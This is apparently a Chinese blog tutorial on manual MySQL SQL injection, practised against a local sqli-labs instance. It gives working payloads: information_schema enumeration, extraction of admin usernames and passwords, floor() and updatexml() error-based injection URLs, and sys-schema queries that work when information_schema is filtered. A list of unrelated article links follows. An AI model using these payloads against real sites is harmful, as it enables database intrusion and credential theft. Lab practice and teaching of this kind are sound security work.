mysql中的information_schema 结构用来存储数据库系统信息 

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。  

| SCHEMATA ――>存储数据库名的, 

|——>关键字段:SCHEMA_NAME,表示数据库名称 

| TABLES ――>存储表名的 

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示表的名称 

| COLUMNS ――>存储字段名的 

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示所属的表的名称 

    COLUMN_NAME表示字段名 

可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。 

爆所有数据库名 

select group_concat(SCHEMA_NAME) from information_schema.schemata 

得到当前库的所有表 

select group_concat(table_name) from information_schema.tables where table_schema=database() 

得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 

得到字段具体的值 

select group_concat(username,0x3a,password) from adminuser

2. floor报错注入

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询当前数据库:

http://192.168.48.130/sqli-labs-master/Less-1/?id=1'  and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询所有的数据库,limit来控制

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询security下的表名

http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询security下的emails数据表的字段名

http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

查询security下的emails数据表的email_id字段内容

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' and (select 1 from (select count(*),concat((select email_id from emails limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

3. updatexml注入

and updatexml(1,payload,1)

查询当前数据库:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

爆所有数据库:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(schema_name) from information_schema.schemata),0x7e),1)--+

因为限制了长度是32 是显示不完全的,

这边又采用Limit来显示所有的数据库名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

一个一个查找security下的表名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x7e),1)--+

查找security下的所有表名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)--+    显示不完全

查找emails数据表中的所有列名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73),0x7e),1)--+

查找email字段内容:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e),1)--+

4、sql 奇淫技巧

在进行sql注入时候,如果mysql, information)schema被过滤了,我们可以使用以下的语句。     tips: mysql版本是5.7以上

1、查看所有库名

select table_schema from sys.schema_table_statistics group by table_schema  #查看所有库名

 SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;

2、查看指定库的表名

SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='www_project' GROUP BY table_name; #查找www_project数据库下的所有数据表
SELECT table_name FROM  sys.x$schema_flattened_keys WHERE table_schema='www_project' GROUP BY table_name; 

4、快速定位到重要的数据库以及表

select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc; # 统计所有访问过的表次数:库名,表名,访问次数

sql 手注 语法的更多相关文章

  1. SQL server存储过程语法及实例(转)

    存储过程如同一门程序设计语言,同样包含了数据类型.流程控制.输入和输出和它自己的函数库. --------------------基本语法-------------------- 一.创建存储过程cr ...

  2. SQL语句方法语法总结(二)

    1.给表插入数据. (1)INSERT INTO TBL_NAME VALUES (VALUE_1,VALUE_2,...) (2)INSERT INTO TBL_NAME (COL_1,COL_2, ...

  3. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  4. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  5. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  6. 实验吧——看起来有点难(sql盲注)

    题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...

  7. SQL盲注学习-布尔型

    本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...

  8. (转)SQL盲注攻击的简单介绍

    转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介     1.1 普通SQL注入技术概述     目前没有对SQL ...

  9. sqli-labs11-17(手注+sqlmap)

    这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的 0x01 sqli-labs less-11 1.手工 由于是post型注入,那么我们不能在url ...

随机推荐

  1. centos7安装docker、docker-compose、es7.3.0、kibana7.3.0

    一.安装docker 1.更新yum包 sudo yum update 2.卸载旧版本(如果安装过旧版本的话) sudo yum remove docker docker-common docker- ...

  2. linux登陆欢迎信息及命令提示符修改

    登录信息修改 登陆信息显示数据 : /etc/issue and /etc/motd 登陆终端机的时候,会有几行提示的字符串,这些设置在/etc/issue里面可以修改,提示内容在/etc/motd中 ...

  3. 一文告诉你Java日期时间API到底有多烂

    前言 你好,我是A哥(YourBatman). 好看的代码,千篇一律!难看的代码,卧槽卧槽~其实没有什么代码是"史上最烂"的,要有也只有"史上更烂". 日期是商 ...

  4. 整合阿里云OSS

    整合阿里云OSS 一.对象存储OSS 为了解决海量数据存储与弹性扩容,采用云存储的解决方案- 阿里云OSS. 1.开通"对象存储OSS"服务 (1)申请阿里云账号 (2)实名认证 ...

  5. java.util.List.subList使用注意

    List<E> subList(int fromIndex, int toIndex); 它返回原来list的从[fromIndex, toIndex)之间这一部分的视图,之所以说是视图, ...

  6. Language Guide (proto3) | proto3 语言指南(十五)生成类

    Generating Your Classes - 生成类 要生成Java.Python.C++.Go.Ruby.ObjuleC或C代码,需要使用.proto文件中定义的消息类型,还需要在.proto ...

  7. 十三:SpringBoot-基于Yml配置方式,实现文件上传逻辑

    SpringBoot-基于Yml配置方式,实现文件上传逻辑 1.文件上传 2.搭建文件上传界面 2.1 引入页面模板Jar包 2.2 编写简单的上传页面 2.3 配置页面入口 3.SpringBoot ...

  8. Java——StringBuffer,String总结

    StringBuffer介绍: Java StringBuffer和StringBuilder类 当对字符串进行修改的时候,需要使用StringBuffer和StringBuilder类. Strin ...

  9. Hadoop伪分布式环境搭建+Ubuntu:16.04+hadoop-2.6.0

    Hello,大家好 !下面就让我带大家一起来搭建hadoop伪分布式的环境吧!不足的地方请大家多交流.谢谢大家的支持 准备环境: 1, ubuntu系统,(我在16.04测试通过.其他版本请自行测试, ...

  10. 配合 jekins—springboot脚本

    #!/usr/bin/bash # author : renguangyin@yingu.com current=$(cd `dirname $0`; pwd) cd ${current} ext_n ...